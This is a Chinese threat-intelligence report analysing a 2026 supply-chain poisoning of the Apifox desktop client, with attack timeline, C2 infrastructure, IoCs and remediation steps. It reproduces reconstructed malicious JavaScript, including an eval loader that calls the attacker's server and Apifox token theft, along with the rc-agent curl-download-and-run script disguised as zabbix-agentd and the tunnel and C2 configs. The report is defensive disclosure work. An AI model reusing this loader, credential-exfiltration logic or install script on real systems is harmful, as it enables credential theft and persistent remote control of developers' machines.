
一、事件概述
2026 年 3 月,公网 SaaS 版 Apifox 桌面客户端遭遇了一起精心策划的供应链攻击,攻击者通过篡改 CDN 托管的 JavaScript 文件进行投毒,利用 Electron 渲染进程的 Node.js 接口权限,在 Apifox 客户端初始化阶段加载远程JS脚本时执行恶意代码,实现了远程控制与开发凭证窃取。
本文基于公开 IoC 进行技术分析,结合开源威胁情报、网络空间测绘、主动狩猎、AI代码分析、AI 样本分析等手段,还原攻击者完整攻击链路,并对攻击基础设施、武器工具、隐蔽手法进行分析溯源。
维度 | 特征值 |
|---|---|
攻击向量 | CDN站点投毒 + Electron安全配置缺陷 |
攻击目标 | 开发者办公终端,窃取SSH密钥、Git凭证、K8s配置等高价值资产 |
基础设施 | 仿冒域名 + Cloudflare CDN隐匿 + 海外云服务器 |
攻击工具 | Electron C2 + yfrp内网穿透 + rc-agent远控 |
流量对抗 | RSA加密通信 + DNS TXT隐蔽信道 + TLS流量伪装 |
样本对抗 | javascript-obfuscator混淆 + UPX加壳 + Golang代码混淆 |
生命周期 | 投毒周期18天(2026/03/04 ~ 03/22),凭证被盗后续影响未知,可能引发二次供应链投毒 |
攻击者能力 | APT级别,具备完整的攻击基础设施与运营能力 |
2026-03-04 ├─ 攻击者上线恶意域名 apifox.it[.]com
├─ NS记录指向Cloudflare CDN
└─ CDN文件开始被投毒
2026-03-04 ├─ 攻击活跃期开始
├─ 受感染客户端连接Electron C2服务器
├─ 下发Stage-2 v1载荷(collectPreInformations)
│ └─ 窃取SSH密钥、Git凭证、Shell历史、进程列表
├─ 下发Stage-2 v2载荷(collectAddInformations)
│ └─ 窃取K8s配置、npm Token、SVN凭证、目录结构
└─ 持续信息窃取与远程控制
└─ 包括可能下发yfrp隧道穿透工具、rc-agent远控建立持久化后门
2026-03-22 └─ C2域名 apifox.it.com DNS解析下线
2026-03-25 └─ 2Libra社区用户发布Apifox投毒预警
2026-03-25 └─ Apifox官方发布《关于 Apifox 公网 SaaS 版外部 JS 文件受篡改的风险提示与升级公告》
攻击持续时间: 约18天(2026-03-04 至 2026-03-22)
Apifox客户端基于Electron框架v37.7.0版本打包,因主进程 app/dist/main/main.js 编译为 bytenode jsc字节码文件,无法判断其是否关闭沙盒 nodeIntegration: true ,但通过对渲染进程 app/dist/renderer/index.html 文件的分析,证实渲染进程具备完整的Node.js和Electron API访问权限:
<!-- 162行: 远程CDN脚本加载 -->
<script src="https://cdn.apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js" defer="defer"></script>
<script>
// 336-340行: 直接require Electron模块
const electron = require('electron');
const webUtils = electron.webUtils;
// 354-356行: 使用@electron/remote获取主进程窗口对象
const remote = window.require('@electron/remote');
const win = remote.getCurrentWindow();
// 370行: 访问Node.js原生模块
const osVersion = require('os')?.release();
// 399行: 使用IPC与主进程通信
require('electron').ipcRenderer.send('WindowAction.EnsureWindowUnMaximize');
</script>
该JS文件原为Apifox客户端事件追踪SDK,用于接入Google Analytics、某度统计、某云SLS、PostHog等数据统计SDK。
投毒域名 cdn.apifox[.]com 域名托管在CDN服务商,该服务商并非纯自建CDN节点,而是结合自建CDN、多家主流云厂商(包括公有云、电信运营商及专业CDN服务商)作为融合CDN,目标域名 cdn.apifox[.]com 经过该CDN服务商的DNS调度最终分配到某云厂商加速CDN,DNS解析链路如下:
层级 | CNAME记录 | 调度方 |
|---|---|---|
1 | cdn.apifox.com | 用户请求入口 |
2 | cdn-apifox-com-idvn0mo.qin**dns.com | 某CDN服务商 DNS调度 |
3 | chinacdnv6.idvqvsd.qin**dns.com | 某CDN服务商 DNS调度 |
4 | opencdnqin**staticv6.a.b**dns.com | 某云CDN |
5 | opencdnqin**staticv6.j**odns.com | 某云CDN |
6 | CDN节点IP | CDN边缘节点 |
CDN 节点回源地址为某云存储桶 apifox-cdn.oss-cn-hangzhou.a***ncs[.]com ,存储桶的 www/ 路径配置了镜像回源,镜像回源地址未知。
攻击者在 apifox-app-event-tracking.min.js 文件代码中植入了一段 javascript-obfuscator 混淆的恶意JavaScript代码,事件曝光时CDN站点投毒JS文件已恢复正常,事后通过Web Archive找到被投毒版本的快照(快照时间:UTC 2026-03-05 05:14:18):
https://web.archive.org/web/20260305051418/https://cdn.apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js
攻击者利用 Electron 不安全配置缺陷,通过CDN站点投毒的方式在 https://cdn.apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js 文件中注入恶意代码 → 渲染进程加载并执行 → 恶意代码获得完整的Node.js运行环境访问权限 → 执行任意系统命令、窃取敏感文件、建立后门通道。
目前官方并未公开CDN站点投毒攻击原因,结合多台失陷终端 DNS 日志进行分析,在 2026-03-04 ~ 03-22 期间请求 cdn.apifox[.]com 的同时会伴随着请求 apifox.it[.]com 恶意域名,多个地区CDN边缘节点都命中了投毒文件,而非原文章提及的有几率命中投毒文件,可以排除网络劫持攻击的可能性。
因此推断Apifox投毒链路可能包括两家云 CDN 接管、OSS 存储桶投毒、OSS 镜像回源源站投毒 等失陷场景,考虑 Apifox 静态资源源站投毒可能性最大。
通过AI大模型对 JavaScript 混淆代码进行分析解读还原恶意代码逻辑,基于还原后的代码逻辑对投毒代码进行进一步分析。
攻击者精心设计了 C2 域名伪装策略,实现域名隐藏与流量混淆:
分析维度 | 分析特征 |
|---|---|
域名伪装 | apifox.it[.]com |
TLD欺骗 | .it.com 商业域名,注册于Namecheap域名商,具有高度伪装性 |
WHOIS | 无公开信息,完全隐藏所有者身份 |
CDN隐匿 | Cloudflare CDN |
源站托管 | 13.192.121[.]27 (日本AWS) |
生命周期 | 18天 (2026/03/04 ~ 2026/03/22),事件曝光即下线 |
该域名具备典型的 APT 级攻击特征:品牌仿冒 + 隐蔽注册 + CDN 隐匿 + 境外托管 + 即弃使用。
在通信流程上,采用多阶段载荷加载机制:
Stage-1 ( Heartbeat 心跳 ):
URL: https://apifox.it[.]com/public/apifox-event.js
功能: header携带环境信息上报心跳,返回加密JS内容,解密后动态创建<script>标签加载Stage-2
Stage-2 ( Payload 载荷 ):
URL: https://apifox.it[.]com/<随机8位hex>.js
特点: Payload URL 一次性有效,用于执行二阶段恶意 Payload,如凭证窃取模块 collectPreInformations 、 collectAddInformations
Electron C2 所有 http 请求响应基于 RSA-2048 私钥实现双向加密通信:
// 内嵌的 RSA 私钥
constPRIVATE_KEY=`-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOPeHTeyrblELD
...
-----END PRIVATE KEY-----`;
// 客户端加密外发数据
functionrsaEncrypt(plaintext){
return crypto.privateEncrypt(
{ key:PRIVATE_KEY, padding: crypto.constants.RSA_PKCS1_PADDING},
Buffer.from(plaintext,'utf8')
).toString('base64');
}
// 解密C2下发的载荷
functionrsaDecrypt(encryptedBase64){
// 按256字节分块解密
for(let i =0; i < encryptedBuffer.length; i +=256){
chunks.push(
crypto.privateDecrypt(
{ key:PRIVATE_KEY, padding: crypto.constants.RSA_PKCS1_OAEP_PADDING},
encryptedBuffer.slice(i, i +256)
)
);
}
return Buffer.concat(chunks).toString('utf8');
}
指纹生成机制:收集受害机器 5 个维度的硬件/系统信息,拼接后进行 SHA-256 哈希生成唯一机器标识 af_uuid。
维度 | 收集内容 | 用途 |
|---|---|---|
MAC地址 | 第一个非内部、非全0的网卡地址 | 物理设备标识 |
CPU型号 | os.cpus()[0].model | 硬件特征 |
主机名 | os.hostname() | 网络标识 |
用户名 | os.userInfo().username | 用户身份 |
操作系统 | os.type() | 系统类型 |
恶意代码使用 localStorage 缓存收集的信息,避免重复系统调用:
localStorage键名 | 存储内容 | 用途 |
|---|---|---|
_rl_mc | SHA-256机器指纹 | 避免重复计算指纹 |
_rl_headers | JSON格式的完整信息头 | 减少系统调用开销 |
Electron 使用 LevelDB 作为 localStorage 后端存储,Apifox客户端 leveldb 目录路径如下,可通过检索 leveldb 目录文件中的 _rl_mc 和 _rl_headers 等特征,快速识别系统是否被投毒感染:
操作系统 | Leveldb存储路径 |
|---|---|
macOS | ~/Library/Application Support/apifox/Local Storage/leveldb/ |
Windows | C:\Users\<用户名>\AppData\Roaming\apifox\Local Storage\leveldb\ |
Linux | ~/.config/apifox/Local Storage/leveldb/ |
恶意代码通过 apifox 接口获取用户邮箱地址及用户名,若用户注册邮箱为企业员工邮箱,攻击者可锁定目标企业 Apifox 失陷终端下发二阶段载荷,从而实现定向APT攻击。
asyncfunctiongetApifoxHeaders(){
// 从localStorage窃取登录token
const accessToken = localStorage.getItem('common.accessToken');
// 调用Apifox官方API获取用户信息
const response =awaitfetch('https://api.apifox[.]com/api/v1/user',{
headers:{'authorization': token }
});
const data =await response.json();
return{
'af_apifox_user':rsaEncrypt(data.data.email),
'af_apifox_name':rsaEncrypt(data.data.name)
};
}
完整执行流程:
┌─────────────────────────────────────────────────────────────┐
│ 1. 初始化阶段 │
├─────────────────────────────────────────────────────────────┤
│ Apifox启动 → 加载CDN JS → 执行恶意代码 → 立即调用 │
│ loadAndExecute() │
└─────────────────────────────────────────────────────────────┘
│
↓
┌─────────────────────────────────────────────────────────────┐
│ 2. 信息收集阶段 │
├─────────────────────────────────────────────────────────────┤
│ getBaseHeaders() → 检查缓存 │
│ ↓ (无缓存) │
│ 生成机器指纹 (MAC+CPU+主机名+用户名+OS) → SHA-256哈希 │
│ ↓ │
│ 持久化到 localStorage (_rl_mc, _rl_headers) │
│ ↓ │
│ getApifoxHeaders() → 窃取token → 调用官方API获取用户信息 │
│ ↓ │
│ 构建 headers (af_uuid, af_os, af_user, af_name, │
│ af_apifox_user, af_apifox_name) │
└─────────────────────────────────────────────────────────────┘
│
↓
┌─────────────────────────────────────────────────────────────┐
│ 3. C2通信阶段 │
├─────────────────────────────────────────────────────────────┤
│ fetch(REMOTE_JS_URL, { headers }) │
│ ↓ │
│ 获取RSA加密的响应体 │
│ ↓ │
│ rsaDecrypt(encryptedCode) → 按256字节分块解密 │
│ ↓ │
│ eval(decryptedCode) ⚠️ 执行任意NodeJS代码 │
└─────────────────────────────────────────────────────────────┘
│
↓
┌─────────────────────────────────────────────────────────────┐
│ 4. 持久化循环 │
├─────────────────────────────────────────────────────────────┤
│ finally { scheduleNext() } │
│ ↓ │
│ setTimeout(loadAndExecute, randomInterval) │
│ ↓ │
│ 30分钟~3小时后重复执行... │
└─────────────────────────────────────────────────────────────┘
通过 Electron C2 服务端返回的 JavaScript 代码,攻击者可以:
1. 执行任意 Node.js 代码(eval(decryptedCode))
2. 读取本地任意文件(Node.js fs 模块)
3. 执行系统命令(Node.js child_process 模块)
4. 建立反向Shell
5. 下载并执行其他恶意软件(如 yfrp隧道穿透 、rc-agent远控 )
从捕获的二阶段Payload中分析发现,恶意模块代码风格极为规范、且存在大量中文注释,由此判断是在中文环境下通过AI生成的恶意代码。
上传端点: https://apifox.it[.]com/event/0/log
平台 | 窃取内容 | 攻击价值 |
|---|---|---|
全平台 | ~/.ssh/* | SSH私钥、公钥、config、known_hosts |
macOS/Linux | ~/.zsh_history, ~/.bash_history | Shell历史命令(可能包含密码、密钥) |
macOS/Linux | ~/.git-credentials | Git凭证(代码仓库访问权限) |
macOS/Linux | ps aux | 进程列表(识别安全软件、开发环境) |
Windows | tasklist | 进程列表(识别安全软件、开发环境) |
上传端点: https://apifox.it[.]com/event/2/log
类别 | 内容 | 攻击价值 |
|---|---|---|
环境配置 | ~/.zshrc, ~/.npmrc | Shell配置、npm配置(可能包含私有仓库token) |
云原生 | ~/.kube/* | Kubernetes完整配置(kubeconfig、证书、密钥) |
版本控制 | ~/.subversion/* | SVN凭证完整目录(auth、config、servers) |
目录结构 | 多平台差异化扫描 | 递归扫描关键目录,识别高价值目标 |
平台差异化窃取:
操作系统 | 扫描目录 | 扫描深度 | 特殊行为 |
|---|---|---|---|
Windows | ~/, ~/Desktop, ~/Documents | 深度2层递归 | 扫描 D:, E:, F:\ 盘符根目录 |
Linux | ~/, ~/Desktop | 深度2层递归 | - |
macOS | ~/ | 仅1层目录 | 权限限制,扫描最保守 |
Electron C2的核心能力是动态执行HeartBeat心跳阶段返回的恶意代码,除了已知的凭证窃取模块,其他恶意模块并不清楚。
async function loadAndExecute() {
const response = await fetch(REMOTE_JS_URL, { headers });
const encryptedCode = (await response.text()).trim();
const decryptedCode = rsaDecrypt(encryptedCode);
eval(decryptedCode); // 任意代码执行
}
攻击者可以下发任意NodeJS代码在受害者机器上执行,从公开的IoC可以观察到攻击者的其他攻击链路,但已知IoC之间无法直接关联,仅供参考:
基于公开IoC特征 upgrade.feishu.it[.]com 进行深入狩猎,发现其为 frp 基础设施,用于建立内网穿透通道访问受害者内网。
根据特征关联及测绘找到了攻击者所有 frp 基础设施,包括frps服务端、frp管理控制面板、二进制文件下载站等CDN源站。
根据观测情况判断,并非所有Apifox失陷终端会植入yfrp内网穿透工具,攻击者会根据收集的Apifox信息及凭证密钥进行判断,针对定向目标进行持久化攻击,建立穿透隧道访问企业内网代码仓库、服务器资源。
类型 | 域名 | CDN托管 | 源站 | 地理位置 | 观测解析时间 |
|---|---|---|---|---|---|
frp 回连 | upgrade.feishu.it[.]com | - | 3.112.191[.]69 | 日本AWS | 2025-06-19 |
frp 回连 | upgrade.feishu.it[.]com | - | 139.224.226[.]131 | 日本AWS | 2026-03-11 |
frp 回连 | upgrade.feishu.it[.]com | - | 54.46.127[.]58 | 日本AWS | 2026-03-14 |
frp 文件下载 | d.feishu.it[.]com | AWS CDN | d1jz8lld0icpmp.cloudfront[.]net | - | 2025-02-05 |
frp 文件下载 | d.feishu.it[.]com | - | 139.224.226[.]131 | 上海某云 | 2026-03-11 |
frp 文件下载 | d.feishu.it[.]com | - | 54.46.127[.]58 | 香港AWS | 2026-03-13 |
frp 文件下载 | d.feishu.it[.]com | - | 3.112.191[.]69 | 日本AWS | 2026-03-24 |
frp 控制面板前端 | panel.feishu.it[.]com | Cloudflare CDN | front-3jn.pages[.]dev | - | 2025-03-06 |
frp 控制面板后端 | api.feishu.it[.]com | Cloudflare CDN | - | - | 2026-02-11 |
下载地址: https://d.feishu.it[.]com/release/frpc_{os}_{arch}
据威胁情报观测,攻击者曾多次版本迭代编译frpc多平台样本,以下仅为部分样本IoC:
文件名 | 平台 | 架构 | MD5 |
|---|---|---|---|
frpc_darwin_amd64 | macOS | x86_64 | 636dd7bcb61755a06b448dfc01005a61 |
frpc_darwin_arm64 | macOS | ARM64 | 4d532da90ef9803f992bb08bb7f37127 |
frpc_linux_386 | Linux | x86 | c435b4b279edb11b9bffd927e7e79a2f |
frpc_linux_amd64 | Linux | x86_64 | 9f4e56461c2f19ceeee17d1b5f32915a |
frpc_linux_arm_5 | Linux | ARMv5 | 66e02c485896eaf9ce3e62d258be9fce |
frpc_linux_arm_7 | Linux | ARMv7 | 66e02c485896eaf9ce3e62d258be9fce |
frpc_linux_arm64 | Linux | ARM64 | e130a0895a26236b879a64c181e2586c |
frpc_freebsd_amd64 | FreeBSD | x86_64 | 1b8e80673fd49d4f5dd80e30668f00f4 |
yrp_386.deb | Linux | x86 | 15f6cf5f6b52d6caf1bb93644d7fae0e |
yrp_386.rpm | Linux | x86 | 1d5ecd9d11392c362922b634a5b1e447 |
yrp_amd64.deb | Linux | x86_64 | bd5fb50e9b86d2013d84451793acf5bf |
yrp_amd64.rpm | Linux | x86_64 | c04994b916383d6036934e35d6fea8f5 |
通过对 frpc_linux_amd64 样本的深度逆向分析,提取了完整的编译信息,确认该样本基于frp进行二次开发,通过GitHub Actions进行多平台编译。
属性 | 值 |
|---|---|
项目名称 | yfrp (二开项目) |
原项目名称 | github.com/fatedier/frp |
构建服务器 | GitHub Actions Runner |
编译目录 | /home/runner/work/yfrp/yfrp/ |
编译时间 | 2026-03-04T09:47:12Z |
通过对frpc客户端二进制文件的逆向分析,成功提取了以下文件:
文件名 | 用途 | MD5 |
|---|---|---|
frpc.toml | FRP客户端配置模板 | 9b75769f5588e45039d30672138cc2e8 |
ca.crt | CA根证书 | dde93cfc2fbc87be1c0f0f018658512e |
client.crt | 客户端证书 | e231e5dd1d619675d3dfbbc2861f0fda |
client.key | 客户端私钥 | 485aedd76580e7e0c6e2b743dc0709c1 |
frpc.toml模板配置如下,其中%s为占位符,用于替换系统用户名和随机密钥,frp回连地址为 wss://upgrade.feishu.it[.]com:443
serverAddr ="upgrade.feishu.it[.].com"
serverPort = 443
transport.protocol = "wss"
transport.tls.certFile = "client.crt"
transport.tls.keyFile = "client.key"
transport.tls.trustedCaFile = "ca.crt"
log.to = "close"
user = "%s"
[[proxies]]
name = "admin"
type = "stcp"
sk = "%s"
[proxies.plugin]
type = "admin_api"
通过逆向分析frp面板 https://panel.feishu.it[.]com 前端JS代码,定位到后端API地址为 https://api.feishu.it[.]com 。
frp面板为攻击者自研开发,采用数字货币加密钱包签名认证机制,通过 Wagmi 框架实现完整的钱包连接流程,仅白名单内的钱包地址签名认证才能登录,面板具备完整的用户管理和代理管理功能:
API端点 | 方法 | 功能 |
|---|---|---|
/users | GET | 获取在线终端列表 |
/clients/offline | GET | 获取离线终端列表 |
/users/nick_name | POST | 更新终端备注 |
/users/{username} | DELETE | 删除终端 |
/proxies | GET | 获取代理列表 |
/proxies/socks5 | POST | 添加SOCKS5代理 |
/proxies/static_file | POST | 添加文件系统代理 |
/server_info | GET | 获取服务器状态 |
/get_ip_port | GET | 获取回连IP和端口 |
/get_download_url | GET | 获取客户端下载链接 |
由此判断攻击者完整操作流程如下:
连接加密钱包 → 签名认证 → 获取管理权限
↓
查看用户列表 → 筛选高价值目标(主机名、IP、操作系统)
↓
为目标创建代理隧道(SOCKS5/STCP/文件系统)
↓
复制访问命令 → 连接frp隧道 → 访问受害者内网资源
基于公开IoC特征 cdn.openroute[.]dev 、 ns.feishu.it[.]com 、 system.toshinkyo.or[.]jp 进行深入狩猎,发现其为 rc-agent(Remote Control Agent) C2远控基础设施,用于持续控制Apifox受害者机器。
rc-agent C2上线时间较短,经事件曝光后已下线相关基础设施及域名解析,目前观察所影响机器较少。
分类 | 域名 | CDN托管 | 源站/解析记录 | 地理位置 | 观测解析时间 |
|---|---|---|---|---|---|
C2文件下载 | cdn.openroute[.]dev | Cloudflare CDN | 35.73.118[.]14 | 日本AWS | 2026-03-18 |
C2域名 | ns.openroute[.]dev | - | TXT记录(加密C2地址) | - | 2026-03-18 |
C2域名 | ns.feishu.it[.]com | - | TXT记录(加密C2地址) | - | 2026-03-25 |
C2服务器 | system.toshinkyo.or[.]jp | - | 13.192.249[.]162 | 日本AWS | 2026-03-18 |
根据狩猎到的Linux远控植入脚本 https://cdn.openroute[.]dev/scripts/upgrade.sh 进行分析,该脚本高度符合AI代码风格特征,以下为部分代码逻辑:
#!/bin/bash
# Remote Control Agent - Binary Upgrade Script (No root required)
# Downloads the latest agent binary and runs it in background
# Usage: curl -fsSL https://cdn.openroute.dev/scripts/upgrade.sh | bash
CDN_BASE="http://cdn.openroute.dev"
SERVICE_NAME="zabbix-agentd"
# Detect OS and architecture
OS=$(uname -s | tr '[:upper:]' '[:lower:]')
ARCH=$(uname -m)
BINARY_NAME="rc-agent-${OS}-${ARCH}"
# Download binary to /tmp/.zabbix-agentd-{timestamp}
TMP_FILE="/tmp/.${SERVICE_NAME}-$(date +%Y%m%d%H%M%S)"
# Run in background with nohup
curl -fsSL "${CDN_BASE}/releases/${BINARY_NAME}" -o "$TMP_FILE"
chmod755"$TMP_FILE"
nohup"$TMP_FILE"> /dev/null 2>&1&
下载地址: http://cdn.openroute[.]dev/releases/rc-agent-{os}-{arch}
文件名 | 平台 | 架构 | MD5 |
|---|---|---|---|
rc-agent-darwin-amd64 | macOS | x86_64 | b04257d2a9a916ce1cfd6a6818022f5c |
rc-agent-darwin-arm64 | macOS | ARM64 | 2aa450a62912e40c1f90e0486d34c829 |
rc-agent-linux-amd64 | Linux | x86_64 | f812befe5574fe103b8303a0e9c9c72a |
rc-agent-linux-arm64 | Linux | ARM64 | 2bbaabc49830d2b56c29ba6df8d5e3e4 |
rc-agent-windows-amd64.exe | Windows | x86_64 | 6ca3722fcd1ce571ed1f438058db8701 |
针对样本 rc-agent-windows-amd64.exe 逆向分析,样本采用UPX加壳 + Golang代码混淆,C2域名配置为 ns.openroute.dev,ns.feishu.it.com,采用两阶段通信机制:
阶段一:DNS TXT初始化C2
ns.openroute.dev、ns.feishu.it.com 域名TXT解析记录内容如下,用于初始化获取加密实际通讯的C2 IP:
/7Rui2YTkx91Goi/Lv4yrIGPpWHVZkHkotI1P0Ey7fgCrOsdRt0fj8LAMsaJ5UaKRIxUYZe652FHFdAfuAbbvMBajh30TNmaFskrNe8uLxBZaNZHV8+0TxwD4OEXDhuObt40e4cWp6SYE9xVF9s=
阶段二:VLESS+REALITY隐蔽通信
经逆向分析,rc-agent C2 基于 github.com/XTLS/xray-core 项目实现,采用 VLESS + REALITY 协议组合进行隐蔽通信,木马动态调试提取到的 xray-core 配置如下:
{
"log":{"loglevel":"none"},
"outbounds":[{
"protocol":"vless",
"settings":{
"vnext":[{
"address":"13.192.249.162",
"port":443,
"users":[{
"encryption":"none",
"flow":"",
"id":"af53e352-919c-4db0-9f7a-2a85bc977821"
}]
}]
},
"streamSettings":{
"network":"tcp",
"realitySettings":{
"fingerprint":"chrome",
"publicKey":"E-wRzXpIL97zzC3PQUBgutslJy2a2kuvat4lpFq4znQ",
"serverName":"system.toshinkyo.or.jp",
"shortId":"a27fbeba"
},
"security":"reality"
}
}]
}
木马同时配置了IPv6双栈通信,地址为 2406:da14:5d7:4520:e3b9:a2b2:c758:f1e6
关键配置参数:
参数 | 值 | 作用 |
|---|---|---|
address | 13.192.249[.]162 / 2406:da14:5d7:4520:e3b9:a2b2:c758:f1e6 | C2服务器双栈通信 |
port | 443 | HTTPS端口 |
serverName | system.toshinkyo.or.jp | 伪装SNI域名(日本某机构真实域名) |
fingerprint | chrome | 客户端TLS指纹模拟Chrome浏览器 |
REALITY协议特性:xray-core 推出的新型安全传输协议,无需域名和TLS证书,通过模拟真实TLS握手实现流量伪装,具备抗指纹识别、前向保密、防证书链攻击等安全特性。
本次Apifox供应链投毒攻击事件展现了攻击者APT级别的攻击能力,本文基于2Libra社区公开IoC特征进行扩展关联分析,完整还原了攻击链路和基础设施架构,发现攻击者构建了三层基础设施架构:Electron C2负责初始入侵和凭证窃取、yfrp内网穿透建立持久化隧道、rc-agent远控实现持续控制,从无差别供应链攻击到定向目标持久化攻击。
攻击者采用多重隐蔽技术实现流量伪装和反溯源。通信层面,Electron C2使用RSA-2048加密通信,rc-agent采用DNS TXT隐蔽信道初始化C2地址,配合VLESS+REALITY协议实现TLS流量伪装;所有攻击基础设施均托管在日本AWS、Cloudflare CDN等境外平台,通过域名仿冒、CDN隐匿、基础设施即弃使用降低暴露风险,事件曝光后迅速下线。
攻击者在武器化开发过程中大量使用AI辅助开发,如Electron C2平台、yfrp控制面板、rc-agent远控木马等多平台适配武器工具,样本采用UPX加壳、Golang代码混淆对抗逆向分析。
根据多维度样本分析,从开发环境信息及注释内容判断此次Apifox供应链攻击事件为境内黑客所为,攻击者唯一暴露了一次上海 某云 IP,为真实身份溯源埋下伏笔。
在本次威胁狩猎过程中,AI技术发挥了关键作用。通过AI大模型对javascript-obfuscator混淆代码进行语义分析,成功还原了恶意代码的完整逻辑,包括RSA加密通信、多阶段载荷加载、凭证窃取模块等核心功能,大幅降低了逆向分析门槛。
同时,在rc-agent二进制样本分析过程中,采用了IDA Pro MCP进行AI辅助二进制分析,对UPX加壳、Golang代码混淆后的样本进行反编译和逻辑还原,进一步提取C2配置和通信协议细节。
AI辅助分析不仅提升了分析效率,更在理解攻击者意图、识别攻击模式、关联威胁情报等方面提供了重要支撑,体现了AI在安全运营和威胁狩猎中的实战价值。
类型 | 值 | 说明 |
|---|---|---|
C2 域名 | apifox.it[.]com | Electron C2主域名 |
源站 IP | 13.192.121[.]27 | 日本AWS,Electron C2源站 |
frp 回连 | upgrade.feishu.it[.]com | FRP客户端回连服务器 |
frp 下载 | d.feishu.it[.]com | frpc客户端下载地址 |
frp 面板 | panel.feishu.it[.]com, api.feishu.it[.]com | FRP控制面板前后端 |
frp 面板源站 | front-3jn.pages[.]dev | Cloudflare Pages |
frp CDN | d1jz8lld0icpmp.cloudfront[.]net | AWS CloudFront |
frp 源站 IP | 3.112.191[.]69, 139.224.226[.]131, 54.46.127[.]58 | FRP客户端回连IP |
rc-agent 下载 | cdn.openroute[.]dev | rc-agent下载 |
rc-agent 源站IP | 35.73.118[.]14 | rc-agent下载CDN源站 |
rc-agent C2 | ns.openroute[.]dev, ns.feishu.it[.]com | rc-agent TXT解析,加密C2地址 |
rc-agent 通讯IP | system.toshinkyo.or[.]jp | rc-agent C2服务器域名 |
rc-agent 通讯IP | 13.192.249[.]162 | rc-agent C2服务器(IPv4) |
rc-agent 通讯IP | 2406:da14:5d7:4520:e3b9:a2b2:c758:f1e6 | rc-agent C2服务器(IPv6) |
样本类型 | 文件名 | MD5 |
|---|---|---|
yfrp客户端 | frpc_darwin_amd64 | 636dd7bcb61755a06b448dfc01005a61 |
yfrp客户端 | frpc_darwin_arm64 | 4d532da90ef9803f992bb08bb7f37127 |
yfrp客户端 | frpc_linux_386 | c435b4b279edb11b9bffd927e7e79a2f |
yfrp客户端 | frpc_linux_amd64 | 9f4e56461c2f19ceeee17d1b5f32915a |
yfrp客户端 | frpc_linux_arm_5 | 66e02c485896eaf9ce3e62d258be9fce |
yfrp客户端 | frpc_linux_arm_7 | 66e02c485896eaf9ce3e62d258be9fce |
yfrp客户端 | frpc_linux_arm64 | e130a0895a26236b879a64c181e2586c |
yfrp客户端 | frpc_freebsd_amd64 | 1b8e80673fd49d4f5dd80e30668f00f4 |
yfrp安装包 | yrp_386.deb | 15f6cf5f6b52d6caf1bb93644d7fae0e |
yfrp安装包 | yrp_386.rpm | 1d5ecd9d11392c362922b634a5b1e447 |
yfrp安装包 | yrp_amd64.deb | bd5fb50e9b86d2013d84451793acf5bf |
yfrp安装包 | yrp_amd64.rpm | c04994b916383d6036934e35d6fea8f5 |
frpc 配置 | frpc.toml | 9b75769f5588e45039d30672138cc2e8 |
frpc 证书 | ca.crt | dde93cfc2fbc87be1c0f0f018658512e |
frpc 证书 | client.crt | e231e5dd1d619675d3dfbbc2861f0fda |
frpc 证书 | client.key | 485aedd76580e7e0c6e2b743dc0709c1 |
rc-agent | rc-agent-darwin-amd64 | b04257d2a9a916ce1cfd6a6818022f5c |
rc-agent | rc-agent-darwin-arm64 | 2aa450a62912e40c1f90e0486d34c829 |
rc-agent | rc-agent-linux-amd64 | f812befe5574fe103b8303a0e9c9c72a |
rc-agent | rc-agent-linux-arm64 | 2bbaabc49830d2b56c29ba6df8d5e3e4 |
rc-agent | rc-agent-windows-amd64.exe | 6ca3722fcd1ce571ed1f438058db8701 |
Apifox用户可在LevelDB目录二进制文件搜索关键字 _rl_mc, _rl_headers 进行失陷排查,Electron C2在凭证窃取环节不会落地文件,终端侧只能根据localStorage特征作为判断依据:
检测项 | 特征值/路径 |
|---|---|
macOS 路径 | ~/Library/Application Support/apifox/Local Storage/leveldb/ |
Windows路径 | C:\Users\<用户名>\AppData\Roaming\apifox\Local Storage\leveldb\ |
Linux 路径 | ~/.config/apifox/Local Storage/leveldb/ |
若确认失陷,需立即轮换以下泄露凭证:
泄露凭证 | 应急处置措施 |
|---|---|
SSH 密钥 | 删除并重新生成密钥对,更新服务器 authorized_keys |
Git 凭证 | 撤销 ~/.git-credentials token,更新GitHub/GitLab访问令牌 |
K8s 配置 | 撤销kubeconfig证书,联系管理员轮换凭证,审计API访问日志 |
npm Token | 撤销npmjs.com token,更新私有仓库访问凭证 |
SVN 凭证 | 删除 ~/.subversion/auth/ 凭证,更新服务器密码 |
Shell 历史 | 检查历史命令中的明文密码,立即修改相关账户密码 |
环境配置 | 检查Shell配置文件中的API Key/Secret,轮换泄露凭证 |
参考链接

END
更多精彩内容点击下方扫码关注哦~
关注云鼎实验室,获取更多安全情报
